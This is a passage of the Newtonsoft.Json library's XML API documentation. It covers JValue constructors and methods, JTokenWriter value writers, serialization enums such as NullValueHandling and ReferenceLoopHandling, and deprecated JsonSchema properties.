cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.DateTime)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.DateTimeOffset)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.TimeSpan)\">\n            <summary>\n            Writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Guid)\">\n            <summary>\n            Writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Uri)\">\n            <summary>\n            Writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JValue\">\n            <summary>\n            Represents a value in JSON (string, integer, date, etc).\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.WriteToAsync(Newtonsoft.Json.JsonWriter,System.Threading.CancellationToken,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> asynchronously.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous write operation.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(Newtonsoft.Json.Linq.JValue)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Int64)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Decimal)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Char)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.UInt64)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Double)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Single)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.DateTime)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.DateTimeOffset)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Guid)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Uri)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.TimeSpan)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JValue.HasValues\">\n            <summary>\n            Gets a value indicating whether this token has child tokens.\n            </summary>\n            <value>\n            \t<c>true</c> if this token has child values; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CreateComment(System.String)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> comment with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> comment with the given value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CreateString(System.String)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> string with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> string with the given value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CreateNull\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> null value.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> null value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CreateUndefined\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> undefined value.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> undefined value.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JValue.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JValue.Value\">\n            <summary>\n            Gets or sets the underlying token value.\n            </summary>\n            <value>The underlying token value.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>s which will be used when writing the token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.Equals(Newtonsoft.Json.Linq.JValue)\">\n            <summary>\n            Indicates whether the current object is equal to another object of the same type.\n            </summary>\n            <returns>\n            <c>true</c> if the current object is equal to the <paramref name=\"other\"/> parameter; otherwise, <c>false</c>.\n            </returns>\n            <param name=\"other\">An object to compare with this object.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.Equals(System.Object)\">\n            <summary>\n            Determines whether the specified <see cref=\"T:System.Object\"/> is equal to the current <see cref=\"T:System.Object\"/>.\n            </summary>\n            <param name=\"obj\">The <see cref=\"T:System.Object\"/> to compare with the current <see cref=\"T:System.Object\"/>.</param>\n            <returns>\n            <c>true</c> if the specified <see cref=\"T:System.Object\"/> is equal to the current <see cref=\"T:System.Object\"/>; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.GetHashCode\">\n            <summary>\n            Serves as a hash function for a particular type.\n            </summary>\n            <returns>\n            A hash code for the current <see cref=\"T:System.Object\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.ToString\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <remarks>\n            <c>ToString()</c> returns a non-JSON string value for tokens with a type of <see cref=\"F:Newtonsoft.Json.Linq.JTokenType.String\"/>.\n            If you want the JSON for all token types then you should use <see cref=\"M:Newtonsoft.Json.Linq.JValue.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\"/>.\n            </remarks>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.ToString(System.String)\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <param name=\"format\">The format.</param>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.ToString(System.IFormatProvider)\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <param name=\"formatProvider\">The format provider.</param>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.ToString(System.String,System.IFormatProvider)\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <param name=\"format\">The format.</param>\n            <param name=\"formatProvider\">The format provider.</param>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.GetMetaObject(System.Linq.Expressions.Expression)\">\n            <summary>\n            Returns the <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> responsible for binding operations performed on this object.\n            </summary>\n            <param name=\"parameter\">The expression tree representation of the runtime value.</param>\n            <returns>\n            The <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> to bind this object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CompareTo(Newtonsoft.Json.Linq.JValue)\">\n            <summary>\n            Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object.\n            </summary>\n            <param name=\"obj\">An object to compare with this instance.</param>\n            <returns>\n            A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings:\n            Value\n            Meaning\n            Less than zero\n            This instance is less than <paramref name=\"obj\"/>.\n            Zero\n            This instance is equal to <paramref name=\"obj\"/>.\n            Greater than zero\n            This instance is greater than <paramref name=\"obj\"/>.\n            </returns>\n            <exception cref=\"T:System.ArgumentException\">\n            \t<paramref name=\"obj\"/> is not of the same type as this instance.\n            </exception>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.LineInfoHandling\">\n            <summary>\n            Specifies how line information is handled when loading JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.LineInfoHandling.Ignore\">\n            <summary>\n            Ignore line information.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.LineInfoHandling.Load\">\n            <summary>\n            Load line information.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.MergeArrayHandling\">\n            <summary>\n            Specifies how JSON arrays are merged together.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeArrayHandling.Concat\">\n            <summary>Concatenate arrays.</summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeArrayHandling.Union\">\n            <summary>Union arrays, skipping items that already exist.</summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeArrayHandling.Replace\">\n            <summary>Replace all array items.</summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeArrayHandling.Merge\">\n            <summary>Merge array items together, matched by index.</summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.MergeNullValueHandling\">\n            <summary>\n            Specifies how null value properties are merged.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeNullValueHandling.Ignore\">\n            <summary>\n            The content's null value properties will be ignored during merging.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeNullValueHandling.Merge\">\n            <summary>\n            The content's null value properties will be merged.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.MemberSerialization\">\n            <summary>\n            Specifies the member serialization options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MemberSerialization.OptOut\">\n            <summary>\n            All public members are serialized by default. Members can be excluded using <see cref=\"T:Newtonsoft.Json.JsonIgnoreAttribute\"/> or <see cref=\"T:System.NonSerializedAttribute\"/>.\n            This is the default member serialization mode.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MemberSerialization.OptIn\">\n            <summary>\n            Only members marked with <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/> or <see cref=\"T:System.Runtime.Serialization.DataMemberAttribute\"/> are serialized.\n            This member serialization mode can also be set by marking the class with <see cref=\"T:System.Runtime.Serialization.DataContractAttribute\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MemberSerialization.Fields\">\n            <summary>\n            All public and private fields are serialized. Members can be excluded using <see cref=\"T:Newtonsoft.Json.JsonIgnoreAttribute\"/> or <see cref=\"T:System.NonSerializedAttribute\"/>.\n            This member serialization mode can also be set by marking the class with <see cref=\"T:System.SerializableAttribute\"/>\n            and setting IgnoreSerializableAttribute on <see cref=\"T:Newtonsoft.Json.Serialization.DefaultContractResolver\"/> to <c>false</c>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.MetadataPropertyHandling\">\n            <summary>\n            Specifies metadata property handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MetadataPropertyHandling.Default\">\n            <summary>\n            Read metadata properties located at the start of a JSON object.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MetadataPropertyHandling.ReadAhead\">\n            <summary>\n            Read metadata properties located anywhere in a JSON object. Note that this setting will impact performance.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MetadataPropertyHandling.Ignore\">\n            <summary>\n            Do not try to read metadata properties.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.MissingMemberHandling\">\n            <summary>\n            Specifies missing member handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MissingMemberHandling.Ignore\">\n            <summary>\n            Ignore a missing member and do not attempt to deserialize it.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MissingMemberHandling.Error\">\n            <summary>\n            Throw a <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> when a missing member is encountered during deserialization.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.NullValueHandling\">\n            <summary>\n            Specifies null value handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeNullValueHandlingObject\" title=\"NullValueHandling Class\" />\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeNullValueHandlingExample\" title=\"NullValueHandling Ignore Example\" />\n            </example>\n        </member>\n        <member name=\"F:Newtonsoft.Json.NullValueHandling.Include\">\n            <summary>\n            Include null values when serializing and deserializing objects.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.NullValueHandling.Ignore\">\n            <summary>\n            Ignore null values when serializing and deserializing objects.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.ObjectCreationHandling\">\n            <summary>\n            Specifies how object creation is handled by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ObjectCreationHandling.Auto\">\n            <summary>\n            Reuse existing objects, create new objects when needed.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ObjectCreationHandling.Reuse\">\n            <summary>\n            Only reuse existing objects.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ObjectCreationHandling.Replace\">\n            <summary>\n            Always create new objects.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.PreserveReferencesHandling\">\n            <summary>\n            Specifies reference handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            Note that references cannot be preserved when a value is set via a non-default constructor such as types that implement <see cref=\"T:System.Runtime.Serialization.ISerializable\"/>.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"PreservingObjectReferencesOn\" title=\"Preserve Object References\" />       \n            </example>\n        </member>\n        <member name=\"F:Newtonsoft.Json.PreserveReferencesHandling.None\">\n            <summary>\n            Do not preserve references when serializing types.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.PreserveReferencesHandling.Objects\">\n            <summary>\n            Preserve references when serializing into a JSON object structure.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.PreserveReferencesHandling.Arrays\">\n            <summary>\n            Preserve references when serializing into a JSON array structure.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.PreserveReferencesHandling.All\">\n            <summary>\n            Preserve references when serializing.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.ReferenceLoopHandling\">\n            <summary>\n            Specifies reference loop handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ReferenceLoopHandling.Error\">\n            <summary>\n            Throw a <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> when a loop is encountered.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ReferenceLoopHandling.Ignore\">\n            <summary>\n            Ignore loop references and do not serialize.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ReferenceLoopHandling.Serialize\">\n            <summary>\n            Serialize loop references.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Required\">\n            <summary>\n            Indicating whether a property is required.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Required.Default\">\n            <summary>\n            The property is not required. The default state.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Required.AllowNull\">\n            <summary>\n            The property must be defined in JSON but can be a null value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Required.Always\">\n            <summary>\n            The property must be defined in JSON and cannot be a null value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Required.DisallowNull\">\n            <summary>\n            The property is not required but it cannot be a null value.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.Extensions\">\n            <summary>\n            <para>\n            Contains the JSON schema extension methods.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.Extensions.IsValid(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Schema.JsonSchema)\">\n            <summary>\n            <para>\n            Determines whether the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> is valid.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n            <param name=\"source\">The source <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to test.</param>\n            <param name=\"schema\">The schema to test with.</param>\n            <returns>\n            \t<c>true</c> if the specified <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> is valid; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.Extensions.IsValid(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Schema.JsonSchema,System.Collections.Generic.IList{System.String}@)\">\n            <summary>\n            <para>\n            Determines whether the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> is valid.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n            <param name=\"source\">The source <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to test.</param>\n            <param name=\"schema\">The schema to test with.</param>\n            <param name=\"errorMessages\">When this method returns, contains any error messages generated while validating. </param>\n            <returns>\n            \t<c>true</c> if the specified <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> is valid; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.Extensions.Validate(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Schema.JsonSchema)\">\n            <summary>\n            <para>\n            Validates the specified <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n            <param name=\"source\">The source <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to test.</param>\n            <param name=\"schema\">The schema to test with.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.Extensions.Validate(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Schema.JsonSchema,Newtonsoft.Json.Schema.ValidationEventHandler)\">\n            <summary>\n            <para>\n            Validates the specified <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n            <param name=\"source\">The source <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to test.</param>\n            <param name=\"schema\">The schema to test with.</param>\n            <param name=\"validationEventHandler\">The validation event handler.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchema\">\n            <summary>\n            <para>\n            An in-memory representation of a JSON Schema.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Id\">\n            <summary>\n            Gets or sets the id.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Title\">\n            <summary>\n            Gets or sets the title.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Required\">\n            <summary>\n            Gets or sets whether the object is required.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.ReadOnly\">\n            <summary>\n            Gets or sets whether the object is read-only.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Hidden\">\n            <summary>\n            Gets or sets whether the object is visible to users.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Transient\">\n            <summary>\n            Gets or sets whether the object is transient.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Description\">\n            <summary>\n            Gets or sets the description of the object.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Type\">\n            <summary>\n            Gets or sets the types of values allowed by the object.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Pattern\">\n            <summary>\n            Gets or sets the pattern.\n            </summary>\n            <value>The pattern.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.MinimumLength\">\n            <summary>\n            Gets or sets the minimum length.\n            </summary>\n            <value>The minimum length.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.MaximumLength\">\n            <summary>\n            Gets or sets the maximum length.\n            </summary>\n            <value>The maximum length.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.DivisibleBy\">\n            <summary>\n            Gets or sets a number that the value should be divisible by.\n            </summary>\n            <value>A number that the value should be divisible by.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Minimum\">\n            <summary>\n            Gets or sets the minimum.\n            </summary>\n            <value>The minimum.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Maximum\">\n            <summary>\n            Gets or sets the maximum.\n            </summary>\n            <value>The maximum.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.ExclusiveMinimum\">\n            <summary>\n            Gets or sets a flag indicating whether the value can not equal the number defined by the <c>minimum</c> attribute (<see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Minimum\"/>).\n            </summary>\n            <value>A flag indicating whether the value can not equal the number defined by the <c>minimum</c> attribute (<see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Minimum\"/>).</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.ExclusiveMaximum\">\n            <summary>\n            Gets or sets a flag indicating whether the value can not equal the number defined by the <c>maximum</c> attribute (<see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Maximum\"/>).\n            </summary>\n            <value>A flag indicating whether the value can not equal the number defined by the <c>maximum</c> attribute (<see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Maximum\"/>).</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.MinimumItems\">\n            <summary>\n            Gets or sets the minimum number of items.\n            </summary>\n            <value>The minimum number of items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.MaximumItems\">\n            <summary>\n            Gets or sets the maximum number of items.\n            </summary>\n            <value>The maximum number of items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Items\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of items.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.PositionalItemsValidation\">\n            <summary>\n            Gets or sets a value indicating whether items in an array are validated using the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> instance at their array position from <see cref=\"P:Newtonsoft.Json.Schema.JsonSchema.Items\"/>.\n            </summary>\n            <value>\n            \t<c>true</c> if items are validated using their array position; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.AdditionalItems\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of additional items.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of additional items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.AllowAdditionalItems\">\n            <summary>\n            Gets or sets a 